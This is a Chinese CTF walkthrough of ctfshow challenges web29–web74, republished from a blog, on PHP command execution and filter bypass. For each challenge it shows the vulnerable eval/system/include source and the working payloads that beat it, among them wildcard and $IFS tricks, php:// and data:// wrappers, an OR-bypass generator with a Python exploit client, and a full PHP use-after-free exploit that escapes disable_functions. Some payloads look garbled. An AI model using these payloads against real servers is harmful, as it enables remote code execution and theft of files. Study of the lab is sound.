www.d58.php,php代码审计前奏之ctfshow之命令执行-程序员宅基地

技术标签: www.d58.php  

想搞好代码审计,必须要搞懂其中一些危险函数危险应用,以及过滤不足,

故以 CTF 来练习。

web29~过滤关键字命令执行,需要严格的过滤

源码:<?php

error_reporting(0);

if(isset($_GET['c'])){

$c=$_GET['c'];

if(!preg_match("/flag/i", $c)){

eval($c);

}

}else{

highlight_file(__FILE__);

}preg_match — 执行匹配正则表达式

题目限制了不能出现flag.

构造?c=system(ls);页面回显:flag.php index.php

绕过 flag ,通配符绕过。linux 中有一些通配符。

*代表任意字符 0个或多个

?代表任意字符 1 个

[abcd]匹配abcd中一个字符

[a-z]匹配范围 a-z

还可以这样绕过fla\g.php

fla''g.php

payload :?c=system('cat *');

?c=system('cat fl?g.php');

?c=system('cat f[a-z]ag.php');

执行 payload 后源代码中有显示。

另一种解法:eval — 把字符串作为PHP代码执行

b3a036150a22c3ae775ca99ff0a197e0.png

传入?c=echo "hello";?><?php system(ls);看到有flag.php ,利用文件包含。

构造:?c=echo "hello";?><?php include($_GET['a']);&a=php://filter/read=convert.base64-encode/resource=flag.php

得到一串base64 字符串,解码得到<?php

$flag='flag{73c6fd37-47f1-47a4-a9a3-df83ae757139}';

web30~增加命令执行函数命令执行,需要严格的过滤

代码:<?php

error_reporting(0);

if(isset($_GET['c'])){

$c=$_GET['c'];

if(!preg_match("/flag|system|php/i", $c)){

eval($c);

}

}else{

highlight_file(__FILE__);

}

在上一题的基础上增加了过滤。flag、system、php

但是我们依然可以用到其他函数进行代替。system()

passthru()   # passthru — 执行外部程序并且显示原始输出

exec()       # exec — 执行一个外部程序

shell_exec() # shell_exec — 通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。

popen()

proc_open()

pcntl_exec()

反引号 同shell_exec()

这里需要注意一下,只有system函数是有回显的,其他的函数可以通过echo等显示?c=echo passthru("cat f*");

?c=echo `cat f*`;

或者?c=echo "hello"; include($_GET['url']); ?>&url=php://filter/read=convert.base64-encode/resource=flag.php

题目wp:echo `nl fl''ag.p''hp`;

web31~过滤cat,空格命令执行,需要严格的过滤

源码:<?php

error_reporting(0);

if(isset($_GET['c'])){

$c = $_GET['c'];

if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){

eval($c);

}

}else{

highlight_file(__FILE__);

}

1. cat被过滤more:一页一页的显示档案内容

less:与 more 类似

head:查看头几行

tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示

tail:查看尾几行

nl:显示的时候,顺便输出行号

od:以二进制的方式读取档案内容

vi:一种编辑器,这个也可以查看

vim:一种编辑器,这个也可以查看

sort:可以查看

uniq:可以查看

file -f:报错出具体内容

grep 在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行。此时,可以使用如下命令: grep test *file

paste 指令会把每个文件以列对列的方式,一列列地加以合并。

2. 空格被过滤·{$IFS} $IFS$9

> < <> 重定向符

%09(需要php环境)

{cat,flag.php} //用逗号实现了空格功能

%20

https://blog.csdn.net/whuslei/article/details/7187639

payload:?c=echo(`tac%09f*`);

解法二:?c=include($_GET["url"]);?>&url=php://filter/read=convert.base64-encode/resource=flag.php

官方show_source(next(array_reverse(scandir(pos(localeconv())))));

web32~文件包含绕过<?php

error_reporting(0);

if(isset($_GET['c'])){

$c = $_GET['c'];

if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){

eval($c);

}

}else{

highlight_file(__FILE__);

}

又增加过滤了 反引号、括号,echo。

文件包含绕过include

require

include_once

require_once

payload:?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

web33~文件包含绕过

源码:<?php

error_reporting(0);

if(isset($_GET['c'])){

$c = $_GET['c'];

if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){

eval($c);

}

}else{

highlight_file(__FILE__);

}

多过滤了一个双引号,

直接用上一题的 payload:?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

web34~文件包含绕过

源码:<?php

error_reporting(0);

if(isset($_GET['c'])){

$c = $_GET['c'];

if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){

eval($c);

}

}else{

highlight_file(__FILE__);

}

过滤多了一个冒号,也是上一关payload 。?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

web35~文件包含绕过<?php

error_reporting(0);

if(isset($_GET['c'])){

$c = $_GET['c'];

if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\

eval($c);

}

}else{

highlight_file(__FILE__);

}

多过滤了&a=php://filter/read=convert.base64-encode/resource=flag.php

?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

web36~文件包含绕过<?php

error_reporting(0);

if(isset($_GET['c'])){

$c=$_GET['c'];

if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\

eval($c);

}

}else{

highlight_file(__FILE__);

}

多过滤了数字,继续打。?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

web37~data协议<?php

//flag in flag.php

error_reporting(0);

if(isset($_GET['c'])){

$c=$_GET['c'];

if(!preg_match("/flag/i", $c)){

include($c);

echo$flag;

}

}else{

highlight_file(__FILE__);

}

过滤了flag ,又是 include 文件包含

利用伪协议读flagdata://,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行

payload:/?c=data://text/plain,<?php system(ls);

# https://www.php.net/manual/zh/wrappers.data.php

?c=data://text/plain,<?php system('cat f*');

web38~data协议<?php

//flag in flag.php

error_reporting(0);

if(isset($_GET['c'])){

$c = $_GET['c'];

if(!preg_match("/flag|php|file/i", $c)){

include($c);

echo $flag;

}

}else{

highlight_file(__FILE__);

}

同样使用data协议。?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs=

web39~data协议<?php

//flag in flag.php

error_reporting(0);

if(isset($_GET['c'])){

$c = $_GET['c'];

if(!preg_match("/flag/i", $c)){

include($c.".php");

}

}else{

highlight_file(__FILE__);

}

payload:?c=data://text/plain,<?php system('cat *');?>data://text/plain, 这样就相当于执行了php语句 .php 因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么 作用

web40~无参数读文件<?php

if(isset($_GET['c'])){

$c = $_GET['c'];

if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\|\/|\?|\\\\/i", $c)){

eval($c);

}

}else{

highlight_file(__FILE__);

}

过滤了引号、$、冒号,还不能用伪协议。

一般括号里参数都要用引号,这里学习一下无参数RCE(remote command/code execute)。

无参数的意思可以是a()、a(b())或a(b(c())),但不能是a('b')或a('b','c'),不能带参数。

详情看这里:

payload:c=readfile(next(array_reverse(scandir(getcwd()))));

# 多刷新几次

c=readfile(array_rand(array_flip(scandir(getcwd()))));

readfile(array_rand(array_flip(scandir(current(localeconve())))));

wp:

c=session_start();system(session_id());

passid=ls

web41~异或绕过<?php

if(isset($_POST['c'])){

$c = $_POST['c'];

if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){

eval("echo($c);");

}

}else{

highlight_file(__FILE__);

}

?>

这个题过滤了$、+、-、^、~使得异或自增和取反构造字符都无法使用,同时过滤了字母和数字。但是特意留了个或运算符|。我们可以尝试从ascii为0-255的字符中,找到或运算能得到我们可用的字符的字符。这里先给出两个脚本 exp.py rce_or.php,大家以后碰到可以使用或运算绕过的可以自己手动修改下即可。生成可用字符的集-合<?php

$myfile = fopen("rce_or.txt", "w");

$contents="";

for ($i=0; $i < 256; $i++) {

for ($j=0; $j <256 ; $j++) {

if($i<16){

$hex_i='0'.dechex($i);

}

else{

$hex_i=dechex($i);

}

if($j<16){

$hex_j='0'.dechex($j);

}

else{

$hex_j=dechex($j);

}

$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';

if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){

echo "";

}

else{

$a='%'.$hex_i;

$b='%'.$hex_j;

$c=(urldecode($a)|urldecode($b));

if (ord($c)>=32&ord($c)<=126) {

$contents=$contents.$c." ".$a." ".$b."\n";

}

}

}

}

fwrite($myfile,$contents);

fclose($myfile);

大体意思就是从进行异或的字符中排除掉被过滤的,然后在判断异或得到的字符是否为可见字符传递参数getflag用法python exp.py # -*- coding: utf-8 -*-

import requests

import urllib

from sys import *

import os

os.system("php rce_or.php") #没有将php写入环境变量需手动运行

if(len(argv)!=2):

print("="*50)

print('USER:python exp.py ')

print("eg: python exp.py http://ctf.show/")

print("="*50)

exit(0)

url=argv[1]

def action(arg):

s1=""

s2=""

for i in arg:

f=open("rce_or.txt","r")

while True:

t=f.readline()

if t=="":

break

if t[0]==i:

#print(i)

s1+=t[2:5]

s2+=t[6:9]

break

f.close()

output="(\""+s1+"\"|\""+s2+"\")"

return(output)

while True:

param=action(input("\n[+] your function:") )+action(input("[+] your command:"))

data={

'c':urllib.parse.unquote(param)

}

r=requests.post(url,data=data)

print("\n[*] result:\n"+r.text)

web42~

if(isset($_GET['c'])){

$c=$_GET['c'];

system($c." >/dev/null 2>&1");

}else{

highlight_file(__FILE__);

}

payload:c=ls;

c=cat flag.php;

web43~

if(isset($_GET['c'])){

$c=$_GET['c'];

if(!preg_match("/\;|cat/i", $c)){

system($c." >/dev/null 2>&1");

}

}else{

highlight_file(__FILE__);

}

过滤分号和cat使用 换行符%0a?c=ls%0a

?c=tac flag.php%0a

说一下为啥system()函数要用的分号或者截断,因为不用的话输入的语句就和后边的>/dev/null 2>&1拼接起来了。最后不关输入啥都会把结果输出到/dev/null。

web44~>/dev/null过滤; cat flag<?php

if(isset($_GET['c'])){

$c=$_GET['c'];

if(!preg_match("/;|cat|flag/i", $c)){

system($c." >/dev/null 2>&1");

}

}else{

highlight_file(__FILE__);

}

过滤;、cat、flag

结合前面的,直接:?c=tac f*%0a

web45~>/dev/null多过滤空格<?php

if(isset($_GET['c'])){

$c=$_GET['c'];

if(!preg_match("/\;|cat|flag| /i", $c)){

system($c." >/dev/null 2>&1");

}

}else{

highlight_file(__FILE__);

}

多过滤了个空格。

payload:?c=tac%09f*%0a

?c=tac$IFS\f*%0A

# 这里 f 前面不加 反斜杠的话就出不来,可能是会被前面的解析到一起吧。

?c=more${IFS}f*%0a

web46~多过滤数字 $ *<?php

if(isset($_GET['c'])){

$c=$_GET['c'];

if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){

system($c." >/dev/null 2>&1");

}

}else{

highlight_file(__FILE__);

}

多过滤了数字、$ 、*

意味着不能用shell中变量了。

payload:?c=tac%09fla?.php%0a

nl

?c=tac

web47~多过滤读取函数<?php

if(isset($_GET['c'])){

$c=$_GET['c'];

if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){

system($c." >/dev/null 2>&1");

}

}else{

highlight_file(__FILE__);

}

多过滤了 more 、less 、 head 、sort 、tail 。

但是 tac 、od 、uniq 等没被过滤

payload:?c=tac%09fla?.php%0a

?c=nl%09fla?.php%0a

?c=nl

web48~多过滤函数<?php

if(isset($_GET['c'])){

$c=$_GET['c'];

if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){

system($c." >/dev/null 2>&1");

}

}else{

highlight_file(__FILE__);

}

多过滤了一些读取函数。

payload:?c=tac%09fla?.php%0a

?c=tac

web49~多过滤反引号<?php

if(isset($_GET['c'])){

$c=$_GET['c'];

if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){

system($c." >/dev/null 2>&1");

}

}else{

highlight_file(__FILE__);

}

多过滤反引号。

payload 同上关一样。

web50~多过滤% x09 x26<?php

if(isset($_GET['c'])){

$c=$_GET['c'];

if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){

system($c." >/dev/null 2>&1");

}

}else{

highlight_file(__FILE__);

}

多过滤%、09、26?c=tac

?c=tac<>fla\g.php%0a

web51~多过滤tac<?php

sset($_GET['c'])){

$c=$_GET['c'];

if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){

system($c.">/dev/null 2>&1");

}

}else{

highlight_file(__FILE__);

}

这回额外过滤了tac,但是我们还可以用nl?c=nl

web52~多过滤重定向符但没过滤 $<?php

if(isset($_GET['c'])){

$c=$_GET['c'];

if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\

system($c.">/dev/null 2>&1");

}

}else{

highlight_file(__FILE__);

}

额外过滤了 重定向符< >,但是这里没过滤$

去查?c=nl${IFS}fla\g.php%0a得到$flag="flag_here";得到了一个假的flag.

查询根目录有啥文件?c=ls${IFS}/%0a

# bin dev etc flag home lib media mnt opt proc root run sbin srv sys tmp usr var

?c=nl${IFS}/fla''g%0a

web53<?php

if(isset($_GET['c'])){

$c=$_GET['c'];

if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\

echo($c);

$d = system($c);

echo "
".$d;

}else{

echo 'no';

}

}else{

highlight_file(__FILE__);

}

也没多过滤啥。。

?c=ls%0a得到ls flag.php index.php readflag

readflag

payload:?c=ls%0a

?c=nl

web54~/bin/?at 绕过<?php

if(isset($_GET['c'])){

$c=$_GET['c'];

if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\

system($c);

}

}else{

highlight_file(__FILE__);

}

多过滤了一些查看文件指令。

payload:?c=paste${IFS}fla?.php%0a

?c=/bin/?at${IFS}f?ag.php%0a

?c=/bin/?at${IFS}f???????

web55~过滤所有小写字母<?php

// 你们在炫技吗?

if(isset($_GET['c'])){

$c=$_GET['c'];

if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\

system($c);

}

}else{

highlight_file(__FILE__);

}

直接过滤了所有小写字母!!!。

那么这里肯定是要无字符 rce 。

但是这里没有过滤通配符,所以可以找到一个带有数字的命令,利用通配符执行命令。base64的使用

有个命令是/bin/base64,我们可以据此构造?c=/???/????64 ????????

得到PD9waHANCg0KLyoNCiMgLSotIGNvZGluZzogdXRmLTggLSotDQojIEBBdXRob3I6IGgxeGENCiMg QERhdGU6ICAgMjAyMC0wOS0wNyAxOTo0MDo1Mw0KIyBATGFzdCBNb2RpZmllZCBieTogICBoMXhh DQojIEBMYXN0IE1vZGlmaWVkIHRpbWU6IDIwMjAtMDktMDcgMTk6NDE6MDANCiMgQGVtYWlsOiBo MXhhQGN0ZmVyLmNvbQ0KIyBAbGluazogaHR0cHM6Ly9jdGZlci5jb20NCg0KKi8NCg0KDQokZmxh Zz0iZmxhZ3tlYTY0MTJlZi03NGY3LTQ1ZjItYWJiYS05M2Y2ODZkOTkwZDh9Ijs=

解码即得到flag.

bzip2

bzip2 是 linux 下面的压缩文件的命令。在/usr/bin/bzip2

构造?C=/???/???/????2 ????????

然后访问flag.php.bz2下载即可获得 flag.php

web56~临时文件<?php

// 你们在炫技吗?

if(isset($_GET['c'])){

$c=$_GET['c'];

if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\

system($c);

}

}else{

highlight_file(__FILE__);

}

多过滤数字,所以用不了上题的前两种方法。这里只能详细写一下上题的第三种方法了。

我们可以通过post一个文件(文件里面的sh命令),在上传的过程中,通过.(点)去执行执行这个文件。(形成了条件竞争)。一般来说这个文件在linux下面保存在/tmp/php??????一般后面的6个字符是随机生成的有大小写。(可以通过linux的匹配符去匹配)注意:通过.去执行sh命令不需要有执行权限

我们需要构造一个post上传文件的数据包。

POST数据包POC

文件名:

抓包,构造?c=.+/???/????????[@-[]

deac3e11dbccb9d9acfc443c5c26e034.png

web57~构造数字<?php

// 还能炫的动吗?

//flag in 36.php

if(isset($_GET['c'])){

$c=$_GET['c'];

if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\

system("cat ".$c.".php");

}

}else{

highlight_file(__FILE__);

}

这里只需要构造 传参 36 即可,但是数字字符都被ban了。

paylaod$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~

$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~

$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~

$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~

$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~

$(())))$((~$(())))$((~$(())))))))

linux echo 一下是 36.

web58~readfile读取<?php

// 你们在炫技吗?

if(isset($_POST['c'])){

$c= $_POST['c'];

eval($c);

}else{

highlight_file(__FILE__);

}

post构造c=system('ls');结果Warning: system() has been disabled for security reasons in /var/www/html/index.php(17) : eval()'d code on line 1

system 函数被 ban了Warning: shell_exec() has been disabled for security reasons in /var/www/html/index.php(17) : eval()'d code on line 1

构造c=print_r(scandir('.'));.得到Array ( [0] => . [1] => .. [2] => flag.php [3] => index.php )

payload:c=readfile('flag.php');

web59~show_source读取<?php

// 你们在炫技吗?

if(isset($_POST['c'])){

$c= $_POST['c'];

eval($c);

}else{

highlight_file(__FILE__);

}

同上关但是,Warning: readfile() has been disabled for security reasons in /var/www/html/index.php(17) : eval()'d code on line 1

尝试其他读取文件函数c=show_source('flag.php');

web60-65~show_source读取<?php

// 你们在炫技吗?

if(isset($_POST['c'])){

$c= $_POST['c'];

eval($c);

}else{

highlight_file(__FILE__);

}

payload:同58一样

web66~highlight_file读取<?php

// 你们在炫技吗?

if(isset($_POST['c'])){

$c=$_POST['c'];

eval($c);

}else{

highlight_file(__FILE__);

}

用以前方法​

Warning: show_source() has been disabled for security reasons in /var/www/html/index.php(17) : eval()'d code on line 1

c=highlight_file('flag.php');结果$flag="秀秀得了,这次不在这里";

c=print_r(scandir('/'));返回Array ( [0] => . [1] => .. [2] => .dockerenv [3] => bin [4] => dev [5] => etc [6] => flag.txt [7] => home [8] => lib [9] => media [10] => mnt [11] => opt [12] => proc [13] => root [14] => run [15] => sbin [16] => srv [17] => sys [18] => tmp [19] => usr [20] => var )

有个flag.txt ,构造 payload:c=highlight_file('/flag.txt');

web67~var_dump打印<?php

// 你们在炫技吗?

if(isset($_POST['c'])){

$c= $_POST['c'];

eval($c);

}else{

highlight_file(__FILE__);

}

找目录,发现Warning: print_r() has been disabled for security reasons in /var/www/html/index.php(17) : eval()'d code on line 1

用c=var_dump(scandir('.'));array(4) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(8) "flag.php" [3]=> string(9) "index.php" }

c=highlight_file('flag.php');又是假的。

最终c=highlight_file('/flag.txt');

web68~include读取

打开题目直接Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 19

说明highlight_file函数被禁用了。

c=var_dump(scandir('/'));得到array(21) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(10) ".dockerenv" [3]=> string(3) "bin" [4]=> string(3) "dev" [5]=> string(3) "etc" [6]=> string(8) "flag.txt" [7]=> string(4) "home" [8]=> string(3) "lib" [9]=> string(5) "media" [10]=> string(3) "mnt" [11]=> string(3) "opt" [12]=> string(4) "proc" [13]=> string(4) "root" [14]=> string(3) "run" [15]=> string(4) "sbin" [16]=> string(3) "srv" [17]=> string(3) "sys" [18]=> string(3) "tmp" [19]=> string(3) "usr" [20]=> string(3) "var" }

有个flag.txt

readfile、show_source、highlight_file被禁用了.

读取不了,但是我们还可以直接文件包含。

payload:c=include('/flag.txt');

web69~var_export打印

同样是Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 19

var_dump 也被禁用Warning: var_dump() has been disabled for security reasons in /var/www/html/index.php(17) : eval()'d code on line 1var_export — 输出或返回一个变量的字符串表示

用c=var_export(scandir('/'));得到array ( 0 => '.', 1 => '..', 2 => '.dockerenv', 3 => 'bin', 4 => 'dev', 5 => 'etc', 6 => 'flag.txt', 7 => 'home', 8 => 'lib', 9 => 'media', 10 => 'mnt', 11 => 'opt', 12 => 'proc', 13 => 'root', 14 => 'run', 15 => 'sbin', 16 => 'srv', 17 => 'sys', 18 => 'tmp', 19 => 'usr', 20 => 'var', )

payload:c=var_export(scandir('/'));`

c=include('/flag.txt');

web70~var_export+include

直接:Warning: error_reporting() has been disabled for security reasons in /var/www/html/index.php on line 14

Warning: ini_set() has been disabled for security reasons in /var/www/html/index.php on line 15

Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 21

你要上天吗?

payload:c=var_export(scandir('/'));

c=include('/flag.txt');

web71~exit(0); 绕过后边代码​

Warning: error_reporting() has been disabled for security reasons in /var/www/html/index.php on line 14

Warning: ini_set() has been disabled for security reasons in /var/www/html/index.php on line 15

Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 24

你要上天吗?

c=var_export(scandir('/'));得到???????: ?????_?????????() ??? ???? ???????? ??? ???????? ??????? ?? /???/???/????/?????.??? ?? ???? ?? ???????: ???_???() ??? ???? ???????? ??? ???????? ??????? ?? /???/???/????/?????.??? ?? ???? ?? ????? ( ? => '.', ? => '..', ? => '.?????????', ? => '???', ? => '???', ? => '???', ? => '????.???', ? => '????', ? => '???', ? => '?????', ?? => '???', ?? => '???', ?? => '????', ?? => '????', ?? => '???', ?? => '????', ?? => '???', ?? => '???', ?? => '???', ?? => '???', ?? => '???', ) 你要上天吗?

......发现有个附件,下载打开:<?php

error_reporting(0);

ini_set('display_errors', 0);

// 你们在炫技吗?

if(isset($_POST['c'])){

$c=$_POST['c'];

eval($c);

$s=ob_get_contents();

ob_end_clean();

echopreg_replace("/[0-9]|[a-z]/i","?",$s);

}else{

highlight_file(__FILE__);

}

?>

你要上天吗?

代码把输出的字母数字都转换为问号?.

我们可以是服务端执行完我们的恶意 payload 后就停止运行 php 程序。

所以可以c=var_export(scandir('/'));exit(0);使得后边的代码停止执行,从而不会被正则替换。

payload:c=var_export(scandir('/'));exit(0);

c=include('/flag.txt');exit(0);

web72~open_basedir

下载附件:<?php

error_reporting(0);

ini_set('display_errors', 0);

// 你们在炫技吗?

if(isset($_POST['c'])){

$c=$_POST['c'];

eval($c);

$s=ob_get_contents();

ob_end_clean();

echopreg_replace("/[0-9]|[a-z]/i","?",$s);

}else{

highlight_file(__FILE__);

}

?>

你要上天吗?

执行c=include('flag.php');exit(0);没内容打印。

有进行读取根目录文件,但是被 open_basedir限制.

进行绕过。c=$it=newDirectoryIterator("glob:///*");foreach($itas$f) {echo$f->getFilename()."\n";}die();

得到根目录文件bin dev etc flag0.txt home lib media mnt opt proc root run sbin srv sys tmp usr var

有flag0.txt.Warning: include(): Failed opening '/flag0.txt' for inclusion (include_path='.:/usr/local/lib/php') in /var/www/html/index.php(19) : eval()'d code on line 1

exp:<?php

pwn("cat /flag0.txt");

function pwn($cmd) {

global $abc, $helper, $backtrace;

class Vuln {

public $a;

public function __destruct() {

global $backtrace;

unset($this->a);

$backtrace = (new Exception)->getTrace(); # ;)

if(!isset($backtrace[1]['args'])) { # PHP >= 7.4

$backtrace = debug_backtrace();

}

}

}

class Helper {

public $a, $b, $c, $d;

}

function str2ptr(&$str, $p = 0, $s = 8) {

$address = 0;

for($j = $s-1; $j >= 0; $j--) {

$address <<= 8;

$address |= ord($str[$p+$j]);

}

return $address;

}

function ptr2str($ptr, $m = 8) {

$out = "";

for ($i=0; $i < $m; $i++) {

$out .= sprintf("%c",($ptr & 0xff));

$ptr >>= 8;

}

return $out;

}

function write(&$str, $p, $v, $n = 8) {

$i = 0;

for($i = 0; $i < $n; $i++) {

$str[$p + $i] = sprintf("%c",($v & 0xff));

$v >>= 8;

}

}

function leak($addr, $p = 0, $s = 8) {

global $abc, $helper;

write($abc, 0x68, $addr + $p - 0x10);

$leak = strlen($helper->a);

if($s != 8) { $leak %= 2 << ($s * 8) - 1; }

return $leak;

}

function parse_elf($base) {

$e_type = leak($base, 0x10, 2);

$e_phoff = leak($base, 0x20);

$e_phentsize = leak($base, 0x36, 2);

$e_phnum = leak($base, 0x38, 2);

for($i = 0; $i < $e_phnum; $i++) {

$header = $base + $e_phoff + $i * $e_phentsize;

$p_type = leak($header, 0, 4);

$p_flags = leak($header, 4, 4);

$p_vaddr = leak($header, 0x10);

$p_memsz = leak($header, 0x28);

if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write

# handle pie

$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;

$data_size = $p_memsz;

} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec

$text_size = $p_memsz;

}

}

if(!$data_addr || !$text_size || !$data_size)

return false;

return [$data_addr, $text_size, $data_size];

}

function get_basic_funcs($base, $elf) {

list($data_addr, $text_size, $data_size) = $elf;

for($i = 0; $i < $data_size / 8; $i++) {

$leak = leak($data_addr, $i * 8);

if($leak - $base > 0 && $leak - $base < $data_addr - $base) {

$deref = leak($leak);

# 'constant' constant check

if($deref != 0x746e6174736e6f63)

continue;

} else continue;

$leak = leak($data_addr, ($i + 4) * 8);

if($leak - $base > 0 && $leak - $base < $data_addr - $base) {

$deref = leak($leak);

# 'bin2hex' constant check

if($deref != 0x786568326e6962)

continue;

} else continue;

return $data_addr + $i * 8;

}

}

function get_binary_base($binary_leak) {

$base = 0;

$start = $binary_leak & 0xfffffffffffff000;

for($i = 0; $i < 0x1000; $i++) {

$addr = $start - 0x1000 * $i;

$leak = leak($addr, 0, 7);

if($leak == 0x10102464c457f) { # ELF header

return $addr;

}

}

}

function get_system($basic_funcs) {

$addr = $basic_funcs;

do {

$f_entry = leak($addr);

$f_name = leak($f_entry, 0, 6);

if($f_name == 0x6d6574737973) { # system

return leak($addr + 8);

}

$addr += 0x20;

} while($f_entry != 0);

return false;

}

function my_str_repeat($a,$b){

$s = '';

for($i = 0; $i <= $b;$i++){

$s.=$a;

}

return $s;

}

function trigger_uaf($arg) {

# str_shuffle prevents opcache string interning

$arg = str_shuffle(my_str_repeat('A', 79));

$vuln = new Vuln();

$vuln->a = $arg;

}

if(stristr(PHP_OS, 'WIN')) {

die('This PoC is for *nix systems only.');

}

$n_alloc = 10; # increase this value if UAF fails

$contiguous = [];

for($i = 0; $i < $n_alloc; $i++)

$contiguous[] = str_shuffle(my_str_repeat('A', 79));

trigger_uaf('x');

$abc = $backtrace[1]['args'][0];

$helper = new Helper;

$helper->b = function ($x) { };

if(strlen($abc) == 79 || strlen($abc) == 0) {

die("UAF failed");

}

# leaks

$closure_handlers = str2ptr($abc, 0);

$php_heap = str2ptr($abc, 0x58);

$abc_addr = $php_heap - 0xc8;

# fake value

write($abc, 0x60, 2);

write($abc, 0x70, 6);

# fake reference

write($abc, 0x10, $abc_addr + 0x60);

write($abc, 0x18, 0xa);

$closure_obj = str2ptr($abc, 0x20);

$binary_leak = leak($closure_handlers, 8);

if(!($base = get_binary_base($binary_leak))) {

die("Couldn't determine binary base address");

}

if(!($elf = parse_elf($base))) {

die("Couldn't parse ELF header");

}

if(!($basic_funcs = get_basic_funcs($base, $elf))) {

die("Couldn't get basic_functions address");

}

if(!($zif_system = get_system($basic_funcs))) {

die("Couldn't get zif_system address");

}

# fake closure object

$fake_obj_offset = 0xd0;

for($i = 0; $i < 0x110; $i += 8) {

write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));

}

# pwn

write($abc, 0x20, $abc_addr + $fake_obj_offset);

write($abc, 0xd0 + 0x38, 1, 4); # internal func type

write($abc, 0xd0 + 0x68, $zif_system); # internal func handler

($helper->b)($cmd);

exit();

}

exit();

但是我打不出来。。。。。

web73​

Warning: error_reporting() has been disabled for security reasons in /var/www/html/index.php on line 14

Warning: ini_set() has been disabled for security reasons in /var/www/html/index.php on line 15

Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 24

你要上天吗?

c=var_export(scandir('/'));die();得到array ( 0 => '.', 1 => '..', 2 => '.dockerenv', 3 => 'bin', 4 => 'dev', 5 => 'etc', 6 => 'flagc.txt', 7 => 'home', 8 => 'lib', 9 => 'media', 10 => 'mnt', 11 => 'opt', 12 => 'proc', 13 => 'root', 14 => 'run', 15 => 'sbin', 16 => 'srv', 17 => 'sys', 18 => 'tmp', 19 => 'usr', 20 => 'var', )

payload:c=include('/flagc.txt');die();

web74~glob协议

c=var_export(scandir('/'));die();结果输出NULL.

